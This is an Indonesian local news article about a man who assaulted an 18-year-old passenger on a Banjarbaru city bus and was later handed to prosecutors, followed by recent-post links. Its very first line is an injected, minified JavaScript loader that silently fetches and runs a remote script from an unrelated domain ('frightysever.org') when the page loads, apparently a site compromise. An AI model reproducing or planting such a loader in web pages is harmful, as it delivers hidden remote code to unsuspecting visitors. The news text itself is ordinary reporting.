(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tersangka Penganiayaan di BTS Banjarbakula Dilimpahkan ke Kejari Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Tersangka pemukulan di Bus Trans Banjarbakula program Buy The Servis (BTS) dilimpahkan ke Kejaksaan Negeri Banjarbaru, Kamis (27/10/2022).

Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Ps Kasi Humas Polsek Banjarbaru Utara Aipda Andreas mengatakan, pelimpahan dilakukan menyusul rampungnya proses penyidikan.

“Saat ini tersangka dibawa kembali ke Polres Banjarbaru dengan status sebagai tahanan titipan Jaksa,” ujarnya.

Pelimpahan tersangka dipimpin oleh Kasubnit ll AIPTU Hendriansyah yang diterima langsung oleh Jaksa Dian SH.

 

 

Baca juga: Kubangan Lumpur di Jalan Desa Matang Hanau, Perbaikan Fisik Program TMMD Kodim 1001 Jadi Harapan

Diberitakan sebelumnya penganiayaan yang dilakukan seorang pria didalam sebuah bus trans Banjarbakula yang terjadi pada Minggu (28/8/2022) lalu.

Pelaku bernama Abdurrahman (38) warga Jalan Pangeran Gang Pangeran Kuin Utara Kecamatan Banjarmasin Utara Kota Banjarmasin, kini mendekam di sel tahanan Mako Polsek Banjarbaru Utara.

Melakukan penganiayaan kepada korban Ghaitsa Zahira Shofa (18) juga merupakan penumpang dari Bus Trans Banjarbakula tersebut.

Korban merasa tak nyaman dan terganggu dengan pelaku kemudian korban pindah tempat duduk sebanyak dua kali, pelaku sempat marah dan berkata “Kenapa bejauh, meigut kah aku” dan korban tidak menanggapinya, tiba-tiba pelaku langsung mendatangi korban dan langsung memukur korban.

Akibatnya korban menerima pukulan dibagian pipi kana, dahi kiri dan leher. Sementara penumpang lainnya melihat kejadian tersebut mencoba untuk memisahkan pelaku dan korban serta mengamankan pelaku, yang mana pelaku sudah diamankan di Polsek Gambut.

Baca juga: PENTING! Ini Rekayasa Lalin Saat Penaikkan Bentang Utama JPO di Jalan A Yani Km 34

Pelaku mengaku melakukan pemukulan terhadap pelapor sebanyak kurang lebih 3 kali karena tersinggung terhadap pelapor yang tidak menghiraukan pelaku saat pelaku mencoba mengajak ngobrol korban,” ungkapnya.

Atas kejadian tindakannya, Abdurrahman dikenakan Pasal 351 KUHP.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.